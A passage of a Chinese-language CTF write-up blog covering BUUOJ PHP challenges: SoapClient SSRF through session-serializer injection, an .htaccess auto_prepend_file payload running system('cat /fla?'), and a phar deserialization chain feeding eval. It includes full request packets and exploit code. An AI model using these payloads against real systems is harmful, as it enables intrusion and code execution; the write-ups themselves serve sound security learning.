利用回调函数覆盖session序列化引擎为php_serilaze 在代码中这样session_start(serialize_hander=php_serialize) 可以查php手册能这样修改 一开始问gpt说不能这样 着实是被误导了

img

构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件 文件名要用phpsessid=8位自己设置一下

利用变量覆盖漏洞,用extract()覆盖掉变量b为回调函数call_user_func,回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可。

请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Host: b409417f-d781-4e26-ae3a-96e176b88d1a.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __gads=ID=2a013f3dde9ad985-2254f58cafe700cf:T=1689741221:RT=1689742200:S=ALNI_Maqp-fX6ej98tcXJHWIvb4mWhQdSg; __gpi=UID=00000c2221d9f3e8:T=1689741221:RT=1689742200:S=ALNI_MZMzVabCNghJHJfa6k9qDxOuQgInA; PHPSESSID=aaaaaaaa
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

serialize_handler=php_serialize

首先先将php序列化引擎设置为php_serialize 写入session文件

源码中session_start()反序列化使用的是php引擎

img

接下里我们覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID。

这里的$a数组就是array(“SoapClient”,”welcome_to_the_lctf2018”)

也就是call_user_func(call_user_func("SoapClient","welcome_to_the_lctf2018")) 因为SoapClient不存在welcome_to_the_lctf2018方法 所以就调用__call魔术方法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?f=extract&name=SoapClient HTTP/1.1
Host: 603457b5-b6be-4cdb-9b14-ec8f4d39f71f.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __gads=ID=2a013f3dde9ad985-2254f58cafe700cf:T=1689741221:RT=1689742200:S=ALNI_Maqp-fX6ej98tcXJHWIvb4mWhQdSg; __gpi=UID=00000c2221d9f3e8:T=1689741221:RT=1689742200:S=ALNI_MZMzVabCNghJHJfa6k9qDxOuQgInA; PHPSESSID=66666666
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

b=call_user_func

这样根据flag.php 就会将flag写入session

img

找到phpsessid

服务器可以根据PHPSESSID来识别用户session,获取保存在服务器session文件中的相关数据,如用户状态、购物车内容等。

img

然后将phpsessid改为保存flag的那个就可以了

img

那么为什么修改phpsessid就能得到flag那

我是这么理解的:我们都知道session是保存我们登录状态的识别身份的东西,我们访问flag.php以后将flag保存在session[flag]中 我们只要将我们身份改为访问flag.php那个身份就行了 然后indx.php中的var_dump($_SESSION)就会将flag输出出来

122、[安洵杯 2019]不是文件上传

123、[羊城杯2020]easyphp

一道关于.htaccess的题目

给了源码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

大致浏览就是当前目录下只能存在index.php 其他文件都会被删除

但是这道题目可以创建其他文件在当前目录下 真的离谱 不过写入也没用 这道题目只容许index.php解析 其他php文件代码都是原样输出 不会解析的

然后这道题目要利用.htaccess 这是一个php配置文件 那么为什么不用.user.ini呢

img

因为.htaccess文件作用的范围更大 它比较灵活,不需要重启服务器,也不需要管理员权限

img

img

我们可以生成一个.htaccess文件去配置文件包含

这样在每个php文件中都包含一个.htaccess文件 有点套娃的感觉

并且我们在.htaccess文件中以注释方法写上我们的恶意代码 这样就不会影响我们的.htaccess文件正常运行了

img

所以内容为:

1
2
php_value auto_prepend_file .htaccess
#<?php phpinfo();?>

但是根据源码 file被waf了

但是可以用\来拼接上下行 我在上面也说到了

所以改为

1
2
3
php_value auto_prepend_f\
ile .htaccess
#<?php phpinfo();?>

并且

file_put_contents($filename, $content . "\nHello, world");会在后面加上没意义的内容 影响我们的.htaccess文件正常执行 所以再加一个\转义掉\n不让他换行

这样拼接的内容就变为\\nHello, world

所以最payload形式:

1
2
3
4
php_value auto_prepend_f\
ile .htaccess
#<?php phpinfo();?>\
?filename=.htaccess&content=php_value%20auto_prepend_f%5C%0Aile%20.htaccess%0A%23%3C%3Fphp%20system('cat%20%2Ffla%3F')%3B%3F%3E%5C

img

其实一开始我有个问题就是 #<?php phpinfo();?>\被包含在index.php中 前面不是有个#

#在php中也是单行注释符 为什么会执行这一行呢 ?

其实#根本就不在php代码内容中 也就是不在php代码<?php ?>中 不会当作注释符 只有在<?php ?>里面才会被当作注释符

一下demo简单理解

img

124、[GXYCTF2019]BabysqliV3.0

这道题目看标题以为是sql注入 但是其实预期解是phar反序列化 最重要的是代码审计

弱口令 admin/password

看url 很奇怪 感觉存在任意文件读取

1
/home.php?file=php://filter/read=convert.base64-encode/resource=upload

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}

}
else{
die("no permission!");
}
}
?>

分析:

代码审计 代码审计太重要了

我们先正常上传一个文件

img

爆出了保存路径 并且他直接显示出了我们的内容GIF89a???? 但是我们的文件后缀已经被改为了txt 所以我们的php代码无法执行

看看为什么会直接输出的代码逻辑,可见我们上传文件后 会立即将文件经过处理之后输出

1
2
3
4
5
6
7
8
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

再来看这一部分 经典创建一个沙盒

并且注意到

1
2
3
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}

name我们可控 如果我们get一个name并且不包含他正则的伪协议字符 那么就不会被他修改文件名

如果没有设置或者包含他正则的字符

我们文件名改为$sandbox.$_SESSION['user'].$ext; 很符合/var/www/html/uploads/f07f07f4e21adb2dbae6c57907a6b22c/GXY7ee46e116c49b534d9932a9999994865.txt清晰明了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

再来看

只要符合preg_match("[^a-z0-9]", $this->Filename) $file['size'] > 1024

那么我们上传的文件就会被移动到新的路径并且这个路径就是我们之前通过get传参的name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

还剩两个魔术方法

可以看到析构函数 存在eval 执行cmd属性 但是这个题目不存在反序列化入口函数

但是这个题目有文件上传啊 太经典了 phar文件搭配phar://就可以进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

ok 思路清晰!

非预期:

1
/home.php?file=upload&name=/var/www/html/1.php

然后上传一个一句话木马

预期解:

要想执行eval 那么 $this->token != $_SESSION['user']

1
2
3
4
5
6
7
  function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

$_SESSION['user']是多少呢 我们可以随便上传一个文件来看因为路径中就会爆出

1
$this->Filename = $sandbox.$_SESSION['user'].$ext;

img

1
/var/www/html/uploads/d13687f9a4bb80ded57226b5f42f671e/GXY845d6439be6936948e31cbfbbc90a715.txt

那么$_SESSION['user']=GXY845d6439be6936948e31cbfbbc90a715

然后就是很经典的phar链子构造 偷的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Uploader
{
public $Filename;
public $cmd;
public $token;
}

$o = new Uploader();

$o->Filename="test";

$o->cmd="highlight_file('/var/www/html/flag.php');";

$o->token="GXY845d6439be6936948e31cbfbbc90a715";


$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

$phar->setMetadata($o); //将自定义meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

$phar->stopBuffering();

上传上去之后 在用phar://去访问就行了 这里就不赘述了

然后这道题目过滤里有个错误

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name']))

仔细看\.前面有个空格 所以这道题匹配不到我们的.因而我们才能get的name中存在.

本文最后更新于 天前,文中所描述的信息可能已发生改变